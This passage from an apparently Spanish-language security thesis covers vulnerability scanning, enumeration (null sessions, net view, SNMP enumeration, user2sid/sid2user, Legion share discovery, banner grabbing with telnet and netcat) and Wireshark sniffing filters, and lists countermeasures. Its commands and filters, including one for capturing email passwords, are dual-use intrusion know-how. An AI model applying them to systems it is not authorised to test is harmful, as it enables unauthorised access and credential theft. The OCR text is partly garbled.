dicho sitio tiene como sistema operativo Linux 2.4.20. Esta herramienta es de gran utilidad ya
gue al no enviar paquetes hacia el objetivo no genera rastro que puedan ser detectados por los

administradores del sitio web.

4.2.5. Escaneo de vulnerabilidades.

El objetivo de un escaneo de vulnerabilidades es la automatizacién por medio de software
para encontrar fallas en un sistema. Entre las vulnerabilidades que se logran encontrar estan:
dispositivos y equipos dentro de una red que contengan puntos débiles, errores de validacion,
ejecucion de cbdigo desde puntos no autorizados, entre otros. Cada vez que se actualiza un
sistema este trae consigo riesgos potenciales ya que pueden existir nuevas vulnerabilidades.
Existen varios tipos de escaneos: orientados a red, puertos, aplicaciones web o bases datos. A

continuacion se presentan algunos programas que realizan estos escaneos.
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» GFI LanGuard Network Security: Esta aplicacion permite realizar una evaluacion de
vulnerabilidades y una auditoria en una red permitiendo realizar una analisis a los hosts de una
red LAN e identificar las posibles brechas de seguridad, ademas realiza un andlisis sobre los
puertos, firewall, telnet, proxy y ejecucion de controles basicos de seguridad. También brinda
informacion NetBIOS sobre cada host analizado presentado: nombre del host, sesion de
usuario, datos compartidos, etc. (http://www.gfihispana.com/ Parr 1)

l« GHLLANguar NS5,

ScanTaget; 101072160 ~ Fuofie [Delaul '] | gean |
Scannzd Computers Scan Results
5 [V] 8101012 160 [HOME-PC] (Widws NT 6.1) B 0 Hich szeutiy vuherabiliizs 3]
Wulneratilites (3] =) Service Vulnerab
ks Ooen TCP Ponts (2 ST | dhicstrstor accoun uathout sasawars
NETBIOS names (4] # Descrpbon: YouMUST setapassword For e adwinishater acooun
BE Computer =2 Registy Vulnerzhillis 2

21 £ KnownDLLs List Vuherabiity
g E_' NT Sereen Saver Yulnesabality
= 63 Lowsecuity musaiites 5]
=) Reaisiy Wlnerzbilitizs [6)
» 5 E_’ Derud of serice onpa 135
2 Y] Fragrened ICMF Packzt
3 i8] LAND denid of srvics
gt 14 Makomed LS4 A equest
ey EL' (008 denisl of secvize
At ¥ Teardop denial of senvies

Figura 4.29 Escaneo de Vulnerabilidades a un Host en una LAN — Windows.

En la figura 4.29 se visualiza una direccién IP de un host dentro de una red LAN del cual se
obtuvo nueve vulnerabilidades de alto riesgo citando a continuacion la que presenta mayor
peligro: “Administrator account without pasword”, con esta informacién se consigue acceder sin
ninguna restriccion al host como se muestra en la figura 4.30 teniendo toda la informacion del

usuario a disposicién y pudiendo modificar o eliminar sin problema.
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Figura 4.30 Ingreso a host objetivo sin password - Windows.

» Acunetix. Es una herramienta que esta disefiada para descubrir vulnerabilidades en

aplicaciones web que los atacantes podrian usar para tener acceso a los datos y sistemas

de una empresa, dentro de sus caracteristicas se encuentran: las blsquedas de

vulnerabilidades como SQL injection y Cross Scripting. (http://www.protgt.net ,parr 1)

A continuacion se presenta un ejemplo la utilizacion de esta herramienta.

b @ Cross Site Sariptng {139)
v [ Ruscar e (73
# [ jeontaceapia (15)

* _] fegstar.php (47)
3 Netwark Alerts
5} Fort Scarner {11

) Cpen Por 25/smip

425 CpenPort 22/
& CpenPortB0Mntp
<8 Cren Port 84/ct”
_;j Cren Port 110/pop3

& CpenPort 143/map

3 Cpen Pr1 485/ems

2 Cpen Port 537/submissan

55 Cpen Port 393imaps

0} Cpen Por1 895/ponds

&) Cpen Port 3306/mysd

GL server naing
S5H seryer ruming
"o
o Site Struchre

B = ) Report | J StarkURL: |htto:pn com: 86 | Frofie: xss
S . e & Scan Thread 1 ( hitp://www.es s com:!
Scan Thread L { hiip:/faww Finiched (135 derts)
€0 Alerts {133)
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® Hion

“ edium
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@ mformational
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I Vuinerability Information
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can exploiithese
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A Target Information
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Figura 4.31 Analisis de Pagina web con Acutenix — Windows.
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En la figura 4.31 se muestra la busqueda de vulnerabilidades con la herramienta Acutenix
sobre un sitio web teniendo como resultado que la pagina posee 135 errores de alto peligro,

también visualiza los enlaces donde presentan cada una de estas fallas.

b b B3| WReport | 2| Start URL: ot e — v | Pofie: [sss v Elsy
RIS TSI e M acunetix WEB APPLICATION SECURITY
~

Cross Site Sorpiing {135) =

[] uscar.oh T oy
- sy HIGH
£ @ tpobuscuzds (10) Cross Site Scripting

+ O idTextoBusqueds (11)

rulneraniliny descl

L @ e=cton (10) Vulnarability descripiion

# @ dsecoon (4 This soipt is pessibly vuinerable to Cross Site Scripting (453
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Figura 4.32 Resultado obtenido del analisis Acutenix - Windows.

En la figura 4.32 se observa detalladamente cada uno de los enlaces con problemas de

vulnerabilidades al momento de hacer clic sobre cada uno de ellos Acunetix presenta

detalladamente el error que demuestra dicho enlace sirviendo de mucho para poder depurar

cada error.

CONTRAMEDIDAS.
e Utilizar Firewalls con politica por defecto que se deniegue todo y de ahi filtrar solo lo
necesario.
¢ Monitorear los puertos que se abren dinamicamente.
e Ultilizar IDS.
e Controlar la indexacién hacia el sitio web.
e Usar encriptacién en los datos sensibles.
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4.3 ENUMERACION.

4.3.1 Definicién.

Este paso radica en obtener en detalle nombres de usuarios, nombres de equipos, grupos
de trabajo, recursos de red, carpetas compartidas y servicios activos dentro de una red.
Generalmente esta técnica se la realiza en una red interna y el resultado de las consultas
dependera de las versiones de los servicios y del sistema operativo en el cual este corriendo
dicho sistema. Esta técnica realiza conexiones activas a los sistemas objetivos y ademas
realiza consultas directas hacia ellos brindando como resultado un mapeo general de los host

activos que pueden ser victimas de ataques.

4.3.2 Informacién enumerada por los atacantes.

La enumeracion es una técnica que tiene un alto grado de intrusion con el objetivo ya que esta
interactla directamente con el host, esto implica que estas intrusiones puedan ser detectadas y

registradas por los administradores de red, entre la informacion que se obtiene estan:

» Recursos de red (Maquinas y Dominios).
» Cuentas de Usuarios.

» Aplicaciones que brindan servicios.

4.3.3 Técnicas para realizar enumeracion.

Existen varias técnicas que pueden ser utilizadas para realizar una enumeracion, cada una de
ellas estregara resultados coherentes dependiendo del nivel de seguridad de la empresa y los
controles aplicados en sus sistemas. A continuaciéon se detallan algunas herramientas

enfocadas a la enumeraciéon de recursos en una red LAN.

4.3.4 Null Session.

Una sesién nula es una conexion de login que se establece sin credenciales, es utilizada para
establecer un vinculo con el host objetivo usando un usuario y contrasefia en blanco o nulo.
Luego de establecer conexiéon se logra obtener informacién sobre los usuarios, grupos,
recursos compartidos, nombres de dominios, entre otras. Para la aplicacién de Null Sesion se

utiliza el comando Net use.

Net use: Es un comando que conecta o desconecta a un equipo de un recurso compartido.
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Comando: C:\> net use \Nombre_Maquina \IPC$ “’/u:*”

Administrator: C:\Windows\system32\cmd.exe | B (S

C:\>net use \\18.18.11.153 \NIPCS""/u:""
The command completed successfully.

C:N\>

Figura 4.33 Ejecucién del comando para iniciar una sesién nula — (D.O.S).

En la figura 4.33 se observa el inicio de una sesion nula sobre un host desde un sistema
Windows XP. Seguido del comando net use se ingresa la IP de la maquina objetivo, a

continuacion la sintaxis:

¢ IPC$ (Inter Procces Communication Share): Se establece una conexién con un recurso
oculto compartido.
e (“): Este parametro indica que se ingresa una contrasefia en blanco

e (/u:”): Ingresa un usuario anénimo hacia el objetivo.

Una vez ejecutado este comando el atacante tiene un canal abierto sobre el objetivo para

enviar otros ataques.
En Linux la sintaxis de este comando es el siguiente:
Comando: $ smbclient \IP_Objetivo\lipc\$ “” -U “”

Net View: Es un software utilizado bajo el entorno Windows que permite administrar redes
locales sobre el protocolo TCP/IP. Crea listas de los servicios en una red para facilitar un
analisis de todas las maquinas detectadas visualizando su IP y el nombre del host de cada

maquina.
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.F.igura'4.34 Visualizacion de host dentro de una red Net View - Windows.

En la figura 4.34 se logra apreciar la enumeracion de los host dentro de una red visualizando el
hostname, la IP, Servercomment, el tiempo de conexion, fecha y hora del dltimo cambio

realizado por el host.

También se puede realizar la enumeracion utilizando el comando Net View desde D.O.S como

se muestra en los siguientes ejemplos:
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Comando: C:\> net view / domain

Administrator: C:\Windows\system32\cmd.exe

C:\>net view /domain
Domain

GRUPO_TRABAJO
WORKGROUP
The command completed successfully.

[C:\>net view /domain:GRUPO_TRABAJO
Server Name

MacBook de Toa Tripaldi
N\\PC-A4E%26386868 MAJO
N\\USUARIO-EYFCB?A

NA\WINZP-1
The command completed successfully.

C:\>net view /domain:WORKGROUP

Server Name
cu32v server (Sambha, Ubuntu)
My computer

N\SLAPTOP

N\SU32V su32v server (Samba,. Ubuntu)>

N\\USUARIO-PC

The command completed successfully.

C:\>
Figura 4.35 Manejo el comando NetView — D.O.S.

En la figura 4.35 se observa los resultados de una consulta sobre una red utilizando el

comando Netview desde linea de comandos. El primer paso para su utilizacion es digitar

Netview seguido del comando “/domain”, esto hara que se visualice todos los dominios

utilizados dentro de la red. El segundo paso es detallar los host que tiene cada dominio, para

esto se utiliza la comando “/domain: GRUPO_TRABAJO”.
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Comando: C:\> net view \\Nombre_Maquina

Administrator: C:\Windows\system32\cmd.exe

i —

C:\>net view \\housepc
Shared resources at \\housepc

Used as Comment

Canon MP258 series Printer
Documentos c
[Nueva carpeta
IThe command completed successfully.

Figura 4.36 Visualizacion de documentos compartidos de un host — D.O.S.

En la figura 4.36 se muestra las opciones compartidas de un equipo mediante el comando

Netview seguido del nombre de la maquina de la cual se quiere obtener informacion.

4.3.5 Enumeracion SNMP.

SNMP es un protocolo utilizado para controlar el estado de los diferentes dispositivos
conectados en una red siempre y cuando el equipo al que se quiera monitorear lo tenga
habilitado. Permite a los administradores supervisar el desempefio de la red en busca de
problemas para su posterior solucién. A continuacion se presenta una demostracion de una

enumeracién snmp utilizando la herramienta SNMPENUM.

Comando: ./snmpenum.pl IP_Objetivo public Windows.txt
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% root@bt: /pentest/enumeration/snmp/snmpenum
/iew Terminal Help

erl enum.pl <IP-addre =communit =contigfTile>

npenum.pl 192.168.1.101 public windows

Adobe F1 ; Player 11 ActiveX
Adobe F1 Player 11 Plugln
11.6

1 teolbar on IE

yrise 2007

d Domain Names Mitigation APIs

En la Figura 4.37.1 se muestra un ejemplo de la utilizacién del comando SNMPENUM que
viene integrado en Backtrack desde su version 5. La IP a la que se hace referencia es la del
host objetivo, como se aprecia en la imagen visualiza todos los programas instalados en dicha

maquina.

M * rool@pi: /pentestyenumeration/snmp/snmpenum
File Edit View Terminal Help
HOS AM

Label: Serial Numbe
abel: Serial Number c

al Memory
ical Memory

Figura 4.37.2 Segunda parte del resultado de la herramienta SNMPENUM.

En la figura 4.37.2 se observa el nombre del host, los usuarios existentes en dicha maquina, las

particiones existentes en el host.
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* root@bt: /pentest/enumeration/snmp/snmpenum
File Edit View Terminal Help

LISTENING UDP PORTS

15 Stepping 2 AT/AT COMPATIBLE - Software: Windows 2088 Versio
Multiprocessor Free)

Figura 4.37.3 Tercera parte del resultado de la herramienta SNMPENUM - Backtrack.

En la figura 4.37.3 se aprecia los puertos habilitados, informacion del hardware, de software y

también presenta todos los archivos compartidos del host analizado.

En esta secuencia de imagenes se pudo observar la importancia y la utilidad de esta
herramienta ya que presenta una informacion muy completa del host analizado permitiendo

tener una idea mas clara sobre la maquina a la que se esta realizando la investigacion.

4.3.6 User2Sid y Sid2User.

SID (Security Identification): Es un identificador de seguridad dentro de usuarios Windows que
proporciona un valor fijo a cada usuario dentro de una red.
RID (relative ldentification): Es un namero que identifica que tipo de cuenta de usuario esta
siendo utilizada en una maquina en particular. Los tipos de RID son los siguientes:

e Administrador 500.

e Invitado 501.

e Usuarios 1000+.

» User2Sid: Es una herramienta ejecutada desde linea de comandos que sirve para

enumerar el SID de un usuario determinado dentro de un sistema.
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Comando: user2sid \IP_Objetivo Nombre de usuario

C:\sid>user2sid \\18.18.11.153 Administrator
S—-1-5-21-1939948916—-42618085169-27153086782-5008

of subauthorities is 5
Domain is Pablo—PC
Length of SID in memory is 28 bytes
Type of SID is SidTypelUser

C:\sid>

.Figura 4.38 Manejo de la herramienta User2Sid — D.O.S.

En la figura 4.38 se ingresa la IP de la maquina objetivo seguido del usuario del cual se desea
obtener su identificador de seguridad, en este caso se utilizé el usuario administrador del
equipo. Como resultado de esta consulta se obtiene el numero que identifica a la maquina
dentro del sistema y ademas el numero RID que identifica al usuario, en este ejemplo es el
numero 500 ya que es una cuenta administrador. Ademas indica el nombre del dominio: Pablo-
PC y también sefala la capacidad para guardar un SID en memoria que en este ejemplo es de
28 bytes.

» Sid2USer: Herramienta ejecutada desde linea de comandos permite conocer el nombre de
usuario de una maquina partiendo del SID del equipo.

Comando: sid2user WIP_Objetivo Numero_SID Numero_RID

== Administrator: C:\Win

C:\sid>sid2userx» \\18.168.11 _.153 5 21 1923929409216 42618085169 27153086782 58060
Name is Administrator

Domain is Pablo—PC

Type of SID is SidTypelUser

C:\sid>

Figura 4.39 Manejo de la herramienta Sid2USer — D.O.S.
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En la figura 4.39 se ingresa el SID de la maquina que va a ser analizada y esta consulta

devuelve el nombre canonico del usuario: Administrador y el dominio: Pablo-PC.

4.3.7 Legion.

Es un software para sistemas Windows que brinda la posibilidad de enumerar los recursos

compartidos dentro de un rango de direcciones IP, es muy util a la hora de tomar acceso a la

informacion compartida por los usuarios de una red.

5 shares found on 4 remate hosts

[ TLEGION v2.1" |

—===__1 | Enter Start IP [ [ii 3 1
Enter End IF 110 110 o4

g Legion

SM10.10.8.1 1 sers
SA10.10.8.117Users
SW10.10.8.1686 \Users
810108 1674 sharerw
510108167 \sharer

Map Drive Save Text

Figura 4.40 Manejo de la herramienta Legion — Windows.

En la figura 4.40 se muestra el manejo de la herramienta Legion, se ingresa el rango de

direcciones IP que se desea analizar y la herramienta devuelve todas las direcciones IP que

tengan documentos compartidos sin proteccion. En la figura 4.41 se visualiza el ingreso a una

de las maquinas que devolvié el resultado de la consulta.

&, Txt Pl produccion

File. Edit View Favorites Tools Help

@ Back ~ > ? /.- ) Search

T

File and Folder Tasks

7 Make anew folder
&3 Publish this folder to the

Web

.@ View previous versions

Other Places

,D 43234 Pl Producddn
{3 My Documents
[C) Shared Dotuments
.“l My Computer
\.3 My Network Places

Folders 27

LIBRO ACTUALIZADO 2012 UC ] Tecnmat de dimensionado de
Dala DVCD

TEXTO Planificacion de
F‘v od iccion

Figura 4.41 Maquina con documentos compartidos sin clave — Windows.
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4.3.8 Banner Grabbing.

Es una técnica que utiliza los banners que tienen los servicios para obtener datos acerca de
ellos, entre la informacion que se logra obtener estan: version, autor y sistema operativo
instalado. Los puertos utilizados con mayor frecuencia para la aplicacion de esta técnica son:

HTTP puerto 80, FTP puerto 21, SMTP puerto 25. A continuacion se muestran ejemplos con
esta técnica.

»Telnet (Telecommunication Network). Es un protocolo que se ejecuta en modo terminal

gque permite conectarse de forma remota a un host para tomar control de la misma, el
puerto utilizado para esta conexion es el 23.

Comando: c:\>Telnet IP_Objetivo Numero_Puerto

Administrator: C:\Windows\system32\CMD.exe

C:\>telnet 261.212

Figura 4.42.1 Ejecucién del comando telnet — D.0O.S
En la figura 4.42.1 se muestra la utilizacién de telnet enfocada a una pagina web, se ingresa el

comando telnet, la IP y el puerto al cual se desea realizar la consulta.

@M Administrator: C:\Windows\system32\CMD.exa

<t*DOCTYPE HTML PUBLIC “"-//1ETF//DTD HTML 2.8//EN">
<html><head>
{title>4B4 Not Fou
nd<{/title>
</head><hody>
<hi>Not Found<{/hi>

I <p>The requested URL /HTTP/1.8 was not
found on this server.{/p>

<hr>
{address>Apache/2.2.15 (Cent08S) Server at wuw.

</body><{/html>

.com Port 88<{/address>

Connection to host lost.

C:\>_

Figura 4.42.2 Resultado de una consulta telnet — D.O.S

107



En la figura 4.42.2 se muestra la cabecera de la pagina web analizada mostrando en esta
consulta que la web utiliza el sistema operativo Centos y como servidor web maneja Apache en

su version 2.2.15. Siendo esto informacién valiosa para futuros ataques.

» Netcat: Es una herramienta muy util ejecutada desde linea de comandos que supervisa y
escribe conexiones TCP y UDP, ademas puede ser utilizado para realizar escaneos a
puertos y escuchar conexiones (Sniffer).

Comando: #nc opcion IP_Objetivo Numero_Puerto

File Edit View Terminal Help

~# nc -v 201.212. 80
mail. com [201.212. 80 (www) open
GET /HTTP/1.0
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

<title>404 Not Found</title>
</head><bo

<p>The requested URL /HTTP/1.0 was not found on this server.</p>

<hr> g
<address>Apacth (Cent0S) Server at www. com Port 80</address>|f
</body></html>

el

Figura 4.43 Aplicacion y resultado de Netcat — Backtrack.

En la figura 4.43 se muestra la utilizacion de netcat, en primera instancia se ingresa el comando
nc seguido de la opcién —v (muestra un resultado mas detallado de la consulta), a continuacion
se ingresa la IP de la pagina web objetivo y el nimero de puerto que se desea analizar. Para
que se muestre el resultado detallado solo de la cabecera de la web se ingresa: “GET
/HTTP/1.0”, al dar enter a esta sentencia visualiza solo la cabecera de la pagina como se

muestra en la figura dando como resultado que utiliza Centos y Apache 2.2.15.
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CONTRAMEDIDAS.

e Bloquear sesiones nulas filtrando el trdfico TCP en los puertos 139 y 445 en el
perimetro de la LAN.

e Desactivar el agente SNMP en Windows, en caso que se necesite utilizarlo bloquear el
trafico TCP — UDP en los puertos 161y 162 en el perimetro de la red.

e Cambiar u ocultar los banners de las aplicaciones que estén utilizando.
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CONCLUSIONES.

En este capitulo se tratd aspectos tedricos y practicos de como se puede realizar una
recoleccién de informacién sobre organizaciones tanto a nivel de paginas web como de redes
locales. Existe una gran cantidad de software que permite realizar este tipo de analisis, en este
capitulo se traté de canalizar de una manera entendible y practica algunas de las herramientas
mas importantes y que brindan los mejores resultados.

Indagando la informacién extraida del andlisis se puede dar cuenta que toda empresa u
organizacion por mas seguridades que implemente siempre existira la posibilidad que exista
alguna vulnerabilidad, es por eso que los administradores de la seguridad deben estar en una
constante revision de sus sistemas para evitar falencias que puedan provocar intrusiones

inesperadas a sus organizaciones.
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CAPITULO V.

SNIFFER.

INTRODUCCION.

En este capitulo se tratara acerca de los Sniffers, siendo técnicas trascendentales a la hora
de conocer coémo se envia y manipula la informacion dentro de la red de una empresa.
Es importante que las organizaciones tomen las precauciones debidas sobre estas técnicas ya
gue la informacién que se transfiere por la red puede contener datos confidenciales que de ser
interceptados por personal no autorizado puede causar robo de informacion o suplantaciones
de identidad en una Intranet.
A continuacion se brindan definiciones que ayudaran a entender de mejor manera como
funcionan estas técnicas, también se presentaran programas que ofrecen la posibilidad de
interceptar trafico en una red de datos. Una vez que se tenga una conceptualizacion clara se
expondran contramedidas que ayudan a la proteccion de los datos cuando estén siendo

transferidos en una red.
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5.1 Definicion Sniffing.

Es una tecnologia de intercepcion de datos que tiene como propésito escuchar y capturar el
trafico para obtener informacion en una red LAN mediante un software, es muy util para
administrar eficientemente la red y poder detectar vulnerabilidades. La informacion que se
puede capturar es:

» Correos electronicos.

» Archivos de transferencia.
» Conversaciones.
>

Contrasefas.

Su funcionamiento se deriva sobre un defecto del protocolo Ethernet que hace que la
informacion vaya dirigida a todos los ordenadores conectados dentro de la red local, lo que
hace el Snnifer es poner la tarjeta de red de la maquina que analizara los datos en modo
promiscuo haciendo que esta maquina intercepte todos los paquetes que navegan por la red
teniendo la posibilidad de capturar informacién confidencial de un usuario o empresa en la cual

se esta realizando el andlisis.

5.2 Tipos de Snnifing.

Existen dos pitios de Sniffing. A continuacion se describen cada uno de ellos:

» Sniffing Pasivo.

Utilizado en redes no conmutadas mediante un hub para realizar sus conexiones, la
informacién es enviada a toda la red haciendo que la persona que intenta interceptar el trafico
de la red solo tenga que conectar el equipo al hub e iniciar el Sniffing.

» Sniffing Activo.

Se realizan a través de un switch basando su funcionamiento en la utilizaciéon del protocolo de

resolucion de direcciones (ARP). Es facil de ser detectado por los administradores de la red.

5.3 Protocolos vulnerables a Sniffing.

Los protocolos mas vulnerables a esta técnica son aquellos que envian sus datos en texto
plano ya que dicha informacion no es transferida por la red de forma encriptada, entre los mas

destacados estan:
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» Telnet (Telecommunication Network). Protocolo que es utilizado para manejar
remotamente una maquina.

» SMTP (Simple Mail Transfer Protocol). Protocolo encargado del intercambio de correos
electronico entre dispositivos

» HTTP (Hypertext Transfer Protocol). Protocolo de transferencia de Hipertexto usado en
cada requerimiento web.

» POP (Post Office Protocol). Protocolo que permite tener acceso a los correos
electrénicos almacenados en un servidor remoto.

» FTP (File Transfer Protocol). Es un protocolo de transferencia de archivos entre
sistemas conectados a una red basada en la arquitectura cliente-servidor.

> IMAP (Internet Message Access Protocol). Es un protocolo que tiene como objetivo
acceder a los mensajes electronicos almacenados en un servidor pudiendo tener
acceso a ellos desde cualquier maquina que tenga conexion a Internet. Este protocolo
es mas completo que POP ya que permite visualizar los correos electrénicos sin tener la

necesidad de descargalos localmente como lo hace POP.

5.4 Programas para realizar Sniffer.

En la actualidad existen un sin nimero de programas que permiten realizar Sniffer a las redes

de una empresa, entre los programas mas utilizados se encuentran:

> Wireshark:

Es un analizador de paquetes que permite monitorear dentro de una red el trafico capturando y
mostrando los datos de los paquetes de la forma mas detallada posible. Es considerado como
el mejor analizador de paquetes de cbdigo abierto que existe en la actualidad.
(http://mww.wireshark.org Parr 1)
Es muy util para examinar y solucionar problemas dered ya que captura los paquetes
enviados en tiempo real y los muestra de forma detallada cada uno de ellos. Entre sus
principales caracteristicas estan:

e Disponible en Linux, Windows y MAC OS.

¢ Lanzado Bajo la licencia GPL.

e Compatible con alrededor de 480 protocolos.

¢ Filtra los paquetes de acuerdo a varios criterios.

e Muestra la informacién de los protocolos de una manera muy detallada.
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Permite trabajar con datos capturados en la red y también con datos previamente

capturados que han sido almacenados en la maquina. (http://www.wireshark.org)

A continuacion de detalla el interfaz de esta herramienta:

“ile Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

Figura 5.1 Menu principal de Wireshark.

En la figura 5.1 se visualiza el menua principal de la herramienta Wireshark teniendo la

disponibilidad de utilizar las siguientes opciones:

File: Contiene las opciones para manipular los archivos.

Edit: Abarca items que permiten aplicar funciones a los paquetes, como son: colocar
una marca a un paquete en especifico, buscar un paquete, configurar el interfaz de
usuario, etc.

View: Permite habilitar las diferentes opciones de visualizacion de los paquetes
capturados.

Go: Utilizado para navegar entre los diferentes paquetes capturados.

Capture: Su principal funcién es la de iniciar y detener la captura de paquetes, ademas
posee la opciones de escoger la interfaz por la cual se quieres capturar las tramas de la
red.

Analyze: Proporciona las opciones de filtrar los paquetes segln los requerimientos del
analisis, ademas de permitir habilitar y deshabilitar los protocolos y flujos de paquetes
para una captura mas especifica.

Statistics: Brinda las opciones para obtener estadisticas de los paquetes capturados.
Telephony: Permite capturar las conversaciones VolP para su posterior analisis.

Tools: Contiene las opciones para configuracién del Firewall.

Internals: Pardmetros internos de Wireshark.

Help: Menu de ayuda para el usuario.
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Field name

+| HPSW HP Switch Protocol
+| HPTEAM - HP NIC Teaming Heartbeat
4] HSR - High-availability Seamless Rv(iuu“
|-+ HSR_PRP_SUPERVISION - HSR/PRP Supe|
HSRP - Cisco Hot Standby Router Protoc
¥
o
s

&+
IES HTTP - Hypertext Transfer Protocol

+| Hyperscsl - Hyperscsi -
| P = contains
+| 12C - Inter-integrated Circuit ;
2 matches
IAP - Information Access Protocol 2

IAPP - Inter-Access-Point Protocol
+| 1AX2Z - Inter-Asterisk exXchange v2

TP 0 - ST P S P SEP__SS S S S ISP S SR S

[ Se—— -

Cancel | l oK l

Figura 5.2 Barra y menu de Filtros de Wireshark.
En la Figura 5.2 se muestra una de las funciones mas Utiles de esta herramienta ya que
permite filtrar los resultado segun se necesite para de esta forma visualizar de mejor manera
los resultados, se escribe directamente en el cuadro de texto la sentencia a filtrar o también se
puede hacer clic en “Expression”, aqui se desplegara el menu que se muestra con todos los
nombres, protocolos entre otros por los cuales se puede filtrar seleccionando el que se necesita

y de ser el caso se realiza la relacién con valores especificos que se quiera visualizar.

Filtros.
Wireshark utiliza la libreria libcap para la definicién de filtros la sintaxis utilizada consta de
varias expresiones dependiendo de los paquetes que se desean capturar y visualizar en la
pantalla. Para poder realizar los diferentes filtros se necesitan signos que ayudan a ejecutar de
mejor manera las blsquedas, estos son:

e lguala:==0EQ.

e Diferente: !=0 NE.

e Mayor que: >0 GT.

e Menorque:<olT.

e Menoroigual: <=0 LE.

e Mayor o igual: >= 0 GE.

¢ Negacion: NOTo!

e Concatenacion: AND 0 &&.

e Variacion: OR 0 ||.
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Filtro de Captura.
Estos filtros son utilizados cominmente antes de empezar la capturar de paquetes permitiendo
mostrar solo los paquetes que cumplan con los requisitos ingresados.

Wireshark: Capture Filter - Profile: Default
Edit Capture Filter

?No Broadcast and no Multicast
No ARP
New ||| ip only
|IP address 192.168.0.1
| IPX only
| TCP only
}UDP only
| Delete || | 1cp or UDP port 80 (HTTP)
| HTTP TCP port (80) v
— -

Properties

Filter name: | No ARP |

Filter string: . not arp |

Help | | Cancel H OK J

Figura 5.2 Filtro de Captura en Wireshark.

Entre los filtros que se utilizan con mayor frecuencia estan:
Comando: Host DireccionlP.

e Permite capturar todo el trafico de origen o destino de una sola maquina.

Comando: Port NumerodePuerto.

¢ Muestra solo los paguetes que tenga como puerto de comunicacion el ingresado.

Comando: IP proto \tcp.

e Captura todos los segmentos que tenga relacion con el protocolo TCP.

Comando: IP proto \arp.

e Captura todo el trafico ARP que pasa por la red analizada.

Filtro de visualizacion.
Los filtros de visualizacion son utilizados una vez que se ha interceptado varios paquetes y su
utilidad fundamental es filtrar solo la informacién que se necesita controlar. A continuacion se

presentan algunos de los filtros de visualizacion comiunmente utilizados:
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Comando: IP.SRC == DireccionIP && NOT UDP
e |P.SRC: indica la IP de origen de la cual se tomaran los paquetes.
e &&: Utilizado para concatenar varias expresiones.
e NOT UDP: NOT utilizado para que no se visualicen en este caso los paquetes del
protocolo UPD.

Comando: IP.DST== DireccionIP && TCP
e |P.DST: Sefiala la IP de destino que se desea mostrar en la captura de paquetes, en
este ejemplo adicionalmente se esta sefialando que solo se filtren los paquetes con el

protocolo TCP.

Comando: IP.ADDR = DireccionlP AND DireccionlP
e |P.ADDR: Filtra los paquetes cuyo origen o destino sea la direccion IP especifica, en
este ejemplo ademas de establecer una direccion IP se esta afiadiendo otra IP con la

expresion AND.

Comando: TCP.PORT EQ puerto

e TCP.PORT: Filtra todo los paquetes que contengan el puerto especificado.

Comando: ! (IP.ADDR == DireccionlP)
e Este comando realiza el filtrado de todos los paquetes excepto los paquetes de la ip que

se ingrese.

Comando: HTTP CONTAINS www.sitioweb.com

¢ Filtra todos los paquetes que tengan relacién con el sitio web ingresado.

Comando: FRAME CONTAINS “@sitioweb.com”
e Muestra todos los correos que tengan como origen y destino el dominio ingresado, esto

incluye los usuarios y password.

Comando: http.request.method=="GET”

e Visualiza los paquetes http segun la peticién indicada.

Comando: ETH.ADDR == DireccionMac
¢ Visualiza solo los paquetes del protocolo Ethernet que contenga la direccion MAC

especificada.
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Comando: HTTP.HOST == “www.sitioweb.com”

e Filtra todos los paquetes que tengan realizacion con la pagina web ingresada.

Comando: HTTP.USER_AGENT CONTAINS “Firefox”

e Filtra los paquetes segun el explorador ingresado.

jo. Time Source Destination Protocol | Length Info

9 2.989572000 169.254.154.184 169.254.255.255 NBNS 92 Name query NB HOUSEPC<20>
10 3.000877000 fe80::1512:51cl:583f:9ab8 ff02::c SSDP 208 M-SEARCH * HTTP/1.1

11 3.739104000 169.254.154.184 169.254.255.255 NBNS 92 Name query NB HOUSEPC<20>
12 4.489286000 169.254.154.184 169.254.255.255 NBNS 92 Name query NB HOUSEPC<20>
13 5.340683000 fe80::1512:51cl:583f:9ab8 f102::1:3 LLMNR 87 Standard query @x7fée A h
14 5.340709000 169.254.154.184 224.0.0.252 LLMNR 67 Standard query ©x7fée A h
15 5.541421000 169.254.154.184 169.254.255.255 NBNS 92 Name query NB HOUSEPC<20>
16 6.000568000 fe80::1512:51c1:583f:%ab8 ffo2::c SSDP 208 M-SEARCH * HTTP/1.1

17 6.291625000 169.254.154.184 169.254.255.255 NBNS 92 Name query NB HOUSEPC<20>
18 7.041118000 169.254.154.184 169.254.255.255 NBNS 92 Name query NB HOUSEPC<20>
19 7.896703000 fe8A::1512:51¢1:583f9ah8 £82::1:3 LLMNR 87/ Standard guerv @xidge A fl

Figura 5.3 Panel de paquetes capturados - Wireshark.

En la figura 5.3 se aprecia los paquetes capturados en una red LAN en este panel se muestra
el nimero de paquetes capturados el tiempo, el host origen, el host destino, el protocolo que

utilizé la comunicacion, la longitud de la trama y una informacién sobre el contenido de la trama

capturada.
+ Frame 1: 208 bytes on wire (1664 bits), 208 bytes captured (1664 bits) on interface 0
+| Ethernet II, Src: Vmware c0:00:08 (00:50:56:c0:00:08), Dst: IPvémcast 00:00:00:0¢ (33:33:00:00:60:0c)
+ Internet Protocol Version 6, Src: fe80::1512:51c1:583f:9ab8 (fe80::1512:51c1:583f:9ab8), Dst: ffe2::c (ffe2::c)
+| User Datagram Protocol, Src Port: 62506 (62506), Dst Port: ssdp (1900)
+ Hypertext Transfer Protocal

Figura 5.4 Panel de visualizacién por paquete - Wireshark.

En la figura 5.4 se muestra en detalle cada uno de los paguetes capturados esta visualizacion
se divide por capas del modelo TCP/IP, empezando desde la capa inferior del panel esta
informacion contiene:
e Aplicacioén: Es el protocolo HTTP que ofrece los datos y longitud de las tramas.
e Transporte: En esta capa se observa los puertos de origen y destino, ademas de los
numeros de secuencia de los paquetes.
¢ Red: Contiene la informacién de los paquetes IP, version, longitud de la cabecera,

longitud total, tipos de protocolos que utiliza, entre otra informacion.
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e Enlace: Abarca las direcciones MAC origen y destino de los host analizados, también

las direcciones fisicas que contiene los interfaces para enrutarse entre ellos.

e Fisica: Los valores mostrados en esta capa pertenecen a la Ethernet.

000 33 33 00 60 60 6C 60 50
016 00 60 68 9a 11 01 fe 80
020 51 cl 58 3f 9a b8 ff 02
030 00 60 06 00 060 Oc f4 2a

56 cO 60 08 86 dd 60 60

00 66 66 60 60 60 15 12
00 60 00 00 00 0O 6O 0O
07 6c 00 9a 49 69 4d 2d

Figura 5.5 Panel de visualizacién por paquete en Bytes - Wireshark.

